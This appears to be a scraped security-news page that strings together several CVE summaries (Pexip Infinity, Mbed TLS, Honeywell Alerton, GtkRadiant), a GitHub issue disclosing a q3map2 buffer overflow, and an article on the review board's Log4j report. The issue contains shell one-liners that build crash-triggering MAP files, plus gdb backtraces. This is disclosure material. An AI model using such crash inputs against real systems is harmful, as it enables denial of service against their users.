Pexip Infinity 27.x before 27.3 allows remote attackers to trigger a software abort via the Session Initiation Protocol.

CVE-2022-27928: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity 27.x before 27.2 has Improper Access Control. An attacker can sometimes join a conference (call join) if it has a lock but not a PIN.

CVE-2022-25357: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity before 27.3 allows remote attackers to trigger a software abort via HTTP.

CVE-2022-27934: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity 27.x before 27.3 allows remote attackers to trigger a software abort via HTTP.

CVE-2022-27929: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity before 27.3 allows remote attackers to force a software abort via HTTP.

CVE-2022-26654: Pexip security bulletins | Pexip Infinity Docs

Pexip Infinity before 27.3 allows remote attackers to trigger a software abort via Epic Telehealth.

CVE-2022-27935: Pexip security bulletins | Pexip Infinity Docs

An issue was discovered in Mbed TLS before 2.28.2 and 3.x before 3.2.0. In some configurations, an unauthenticated attacker can send an invalid ClientHello message to a DTLS server that causes a heap-based buffer over-read of up to 255 bytes. This can cause a server crash or possibly information disclosure based on error responses. Affected configurations have MBEDTLS_SSL_DTLS_CLIENT_PORT_REUSE enabled and MBEDTLS_SSL_IN_CONTENT_LEN less than a threshold that depends on the configuration: 258 bytes if using mbedtls_ssl_cookie_check, and possibly up to 571 bytes with a custom cookie check function.

CVE-2022-35409: Releases · Mbed-TLS/mbedtls

Honeywell Alerton Ascent Control Module (ACM) through 2022-05-04 allows unauthenticated programming writes from remote users. This enables code to be store on the controller and then run without verification. A user with malicious intent can send a crafted packet to change and/or stop the program without the knowledge of other users, altering the controller's function. After the programming change, the program needs to be overwritten in order for the controller to restore its original operational function.

CVE-2022-30244: Product Security

GtkRadiant v1.6.6 was discovered to contain a buffer overflow via the component q3map2. This vulnerability can cause a Denial of Service (DoS) via a crafted MAP file.

Hi folks,

A buffer overflow was found while fuzz testing of the q3map2 binary which can be triggered via a malformed MAP file with a large shader image name. Although this malformed file only crashes the program as-is, it could potentially be crafted further and create a security issue where these kinds of files would be able compromise the process's memory through taking advantage of affordances given by memory corruption. It's recommend to harden the code to prevent these kinds of bugs as it could greatly mitigate such this issue and even future bugs.

**crash files**

    $ echo -ne "\x2f\x2f\x0a\x7b\x0a\x61\x20\x70\x20\x73\x20\x30\x0a\x7b\x0a\x28\x20\x34\x20\x32\x20\x34\x20\x29\x20\x28\x20\x34\x20\x38\x20\x34\x20\x29\x20\x28\x20\x34\x20\x34\x20\x34\x20\x29\x20"`perl -e 'print "B" x 55'`"\x20\x35\x20\x30\x20\x34\x20\x30\x20\x7d\x0a" > crash_sprintf.map
    
    $ xxd crash_sprintf.map 
    00000000: 2f2f 0a7b 0a61 2070 2073 2030 0a7b 0a28  //.{.a p s 0.{.(
    00000010: 2034 2032 2034 2029 2028 2034 2038 2034   4 2 4 ) ( 4 8 4
    00000020: 2029 2028 2034 2034 2034 2029 2042 4242   ) ( 4 4 4 ) BBB
    00000030: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
    00000040: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
    00000050: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
    00000060: 4242 4242 2035 2030 2034 2030 207d 0a    BBBB 5 0 4 0 }.
    
    or
    
    $ echo -ne "\x2f\x2f\x0a\x7b\x0a\x61\x20\x70\x20\x73\x20\x30\x0a\x7b\x0a\x28\x20\x34\x20\x32\x20\x34\x20\x29\x20\x28\x20\x34\x20\x38\x20\x34\x20\x29\x20\x28\x20\x34\x20\x34\x20\x34\x20\x29\x20"`perl -e 'print "B" x 64'`"\x20\x35\x20\x30\x20\x34\x20\x30\x20\x7d\x0a" > crash_strcpy.map
    

**debug log**

    (gdb) r crash_sprintf.map 
    Starting program: GtkRadiant/build/release/q3map2/q3map2 crash_sprintf.map
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    2.5.17
    threads: 4
    Q3Map         - v1.0r (c) 1999 Id Software Inc.
    Q3Map (ydnar) - v2.5.17
    GtkRadiant    - v1.6.6 Jan  9 2022 20:51:50
    We're still here
    VFS Init: /home/test/.q3a/baseq3/
    VFS Init: GtkRadiant/build/release//baseq3/
    
    --- BSP ---
    Loading crash_sprintf.map
    entering crash_sprintf.map
    *** buffer overflow detected ***: terminated
    
    Program received signal SIGABRT, Aborted.
    __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    
    (gdb) bt
    #0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    #1  0x00007ffff78bb859 in __GI_abort () at abort.c:79
    #2  0x00007ffff79263ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7a5007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
    #3  0x00007ffff79c8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7a50012 "buffer overflow detected") at fortify_fail.c:26
    #4  0x00007ffff79c73e6 in __GI___chk_fail () at chk_fail.c:28
    #5  0x00007ffff791e1cf in _IO_str_chk_overflow (fp=<optimized out>, c=<optimized out>) at iovsprintf.c:35
    #6  0x00007ffff792b1a4 in __GI__IO_default_xsputn (n=<optimized out>, data=<optimized out>, f=<optimized out>) at libioP.h:948
    #7  __GI__IO_default_xsputn (f=0x7fffffffd680, data=<optimized out>, n=55) at genops.c:370
    #8  0x00007ffff791027c in __vfprintf_internal (s=s@entry=0x7fffffffd680, format=format@entry=0x5555555dd35a "textures/%s", ap=ap@entry=0x7fffffffd7c0, mode_flags=mode_flags@entry=6)
        at ../libio/libioP.h:948
    #9  0x00007ffff791e279 in __vsprintf_internal (string=0x7fffffffd930 "textures/", 'B' <repeats 54 times>, maxlen=<optimized out>, format=0x5555555dd35a "textures/%s", args=args@entry=0x7fffffffd7c0, 
        mode_flags=6) at iovsprintf.c:95
    #10 0x00007ffff79c6edb in ___sprintf_chk (s=<optimized out>, flag=<optimized out>, slen=<optimized out>, format=<optimized out>) at sprintf_chk.c:40
    #11 0x00005555555a35de in ParseBrush ()
    #12 0x00005555555a464f in LoadMapFile ()
    #13 0x000055555559b824 in BSPMain ()
    #14 0x000055555555f935 in main ()
    
    (gdb) r crash_strcpy.map 
    ...
    
    *** buffer overflow detected ***: terminated
    
    Program received signal SIGABRT, Aborted.
    __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    
    (gdb) bt
    #0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    #1  0x00007ffff78bb859 in __GI_abort () at abort.c:79
    #2  0x00007ffff79263ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7a5007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
    #3  0x00007ffff79c8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7a50012 "buffer overflow detected") at fortify_fail.c:26
    #4  0x00007ffff79c73e6 in __GI___chk_fail () at chk_fail.c:28
    #5  0x00007ffff79c6cc6 in __strcpy_chk (dest=0x7fffffffd8f0 "", src=0x5555556af480 <token> 'B' <repeats 64 times>, destlen=64) at strcpy_chk.c:30
    #6  0x00005555555a35ab in ParseBrush ()
    #7  0x00005555555a464f in LoadMapFile ()
    #8  0x000055555559b824 in BSPMain ()
    #9  0x000055555555f935 in main ()

CVE-2022-32406: Buffer overflow in q3map2 when parsing malformed MAP file · Issue #676 · TTimo/GtkRadiant

Vulnerability will remain a "significant" threat for years to come and highlighted the need for more public and private sector support for open source software ecosystem, Cyber Safety Review Board says.

The US Department of Homeland Security's Cyber Safety Review Board (CSRB) has concluded that the Apache Log4j vulnerability disclosed in December 2021 will remain a significant risk to organizations for the next decade or longer.

The recently formed board, made up of private industry and government cybersecurity experts, determined that the open source community is not adequately resourced to ensure the security of its code and requires broad assistance from stakeholders across the private and public sectors. In a report published, today, the board recommended that federal agencies — as some of the largest consumers of open source code — contribute to open source security and called on the government to consider funding investments to improve security of the ecosystem.

CSRB released a set of 19 high-level recommendations for organizations to mitigate exposure to Log4j-related attacks and other similar software supply chain risks going forward. The recommendations for organizations include looking for and replacing vulnerable Log4j versions, establishing processes to prevent re-introduction of vulnerable versions into the environment, and maintaining an accurate inventory of IT assets and applications.

**An Endemic Vulnerability**

The CSRB's conclusions and recommendations are based on its months-long investigation into the circumstances surrounding the Log4j vulnerability disclosure and the response to it from the open source community, technology vendors, and government and private organizations.

"The Board assesses that Log4j is an 'endemic vulnerability' and that vulnerable instances of Log4j will remain in systems for many years to come," the CSRB said a report Thursday that summarized its findings.

"Though exploitation of Log4j has been at lower levels than expected and there has been no big Log4j attacks on critical infrastructure targets, the threat is not diminished," the report noted. "Significant risk remains."

"The most important aspects of the CSRB report should not surprise anyone who understands the reality of our complex interconnected world," says Katie Moussouris, founder and CEO of Luta Security and a CSRB member. "We depend on open source technology that isn't as well-supported from a security standpoint even though we need it to be, to help combat threats," she says.

The DHS established CSRB in February 2022 in response to a cybersecurity Executive Order the Biden administration issued last May. The CSRB's mandate is to get security experts from government and private organizations to review and assesses significant security events so improvements can be at a national level to prevent similar incidents. The Log4j review was the CSRB's first mission.

Apache Log4j is an open source logging tool that is present in almost every single Java application environment. In November 2021, a security engineer with China's e-commerce giant Alibaba reported a vulnerability (CVE-2021-44228) in Log4j to its maintainer, the Apache Software Foundation (ASF). The vulnerability — in a Log4j component for data storage and retrieval called Java Naming and Directory Interface (JNDI) — basically gave attackers a way to take complete remote control of vulnerable systems. Public disclosure of the vulnerability on Dec. 9, 2021, triggered widespread concern because it was easy to exploit, was ubiquitously present, and had disastrous consequences.

Another major, continuing issue — and one that the CSRB highlighted in its report — is the fact that vulnerable versions of Log4j are often not easily detected because of how deeply embedded the component can be in many environments.

**A Preventable Catastrophe?**

The CSRB review showed that an individual member of the open source community submitted the vulnerable JNDI component for inclusion with Log4j back in 2013. The Log4j team accepted the component, and it was later integrated into thousands of applications that used Log4j. The Board determined that the vulnerability could have been detected back in 2013 if the Log4j team had someone with security skills to review the code, or if they had training in secure coding practices.

"Unfortunately, the resources to perform such a review were not available to the volunteer developers who led this open-source project in 2013," the Board said.

Investigators found that the organizations which responded most effectively to the Log4j vulnerability disclosure were also the ones that had effective asset and risk management processes in place and had the resources to mobilize quick action on an enterprisewide scale. But few organizations were able to mount that kind of response, or had the speed required to respond to a vulnerability of this magnitude, CSRB found. As a result, there was considerable delay in both their assessment of risk from the vulnerability and in their management of it. Many had to decide whether to upgrade to the fixed version of Log4j that the ASF released — and risk business disruption from potential application breakages — or leave the vulnerability untouched and risk attack.

"The Log4j event highlighted fundamental adoption gaps in vulnerability response practices and overall cybersecurity hygiene," the report said.

Moussouris says Log4j highlighted the critical need for organizations to know their assets and what versions of software are running on their critical systems. "What might surprise the public is that so few organizations actually have a current list of their critical assets and what software is running on their networks," she says. "We're not prepared to respond to the next library incident until that changes."

One major takeaway from CSRB's report is the need for more coordinated action around open source security. Often, widely used open source components such as Log4j are maintained by volunteer teams with little consideration for security. They typically do not have coordinated vulnerability disclosure and response teams to investigate reported vulnerabilities and to address them.

"To reduce recurrence of the introduction of vulnerabilities like Log4j, it is essential that public and private sector stakeholders create centralized resourcing and security assistance structures that can support the open-source community going forward," CSRB said.

**Increased Support for Open Source Ecosystem**

Eric Brewer, vice president of infrastructure at Google, says the report provides a positive and nuanced view of how organizations need to approach open source use in their environments. "If you are using open source, you can't expect other people to magically fix security issues for you," he says. Implicit in the use of open source code is the fact that organizations are consuming the software "as-is." That means they need to share responsibility for mitigating risk associated with it as well, Brewer says.

He welcomes the CSRB's call for increased investments around open source security and says what's also needed are more organizations that can serve as curators for major open source projects. Big companies such as Google could fix vulnerabilities in open source code that they themselves consume and then offer the curated software so others can safely use it. He points to other organizations such as Red Hat and Databricks, which offer curated versions of major open source projects, as other examples.

"Open source software is fundamentally managed differently than commercial software, but open source software plays a key role in the success of commercial software," says Tim Mackey, principal security strategy at Synopsys Cybersecurity Research Center. Organizations that depend on a commercial vendor to alert them of a problem in an open source component are presuming the vendor is properly managing their usage of open source and that they are able to identify and alert all users of their impacted software. To mitigate the risk, "software consumers should implement a trust-but-verify model to validate whether the software they're given doesn't contain unpatched vulnerabilities," Mackey says.

Tag

#perl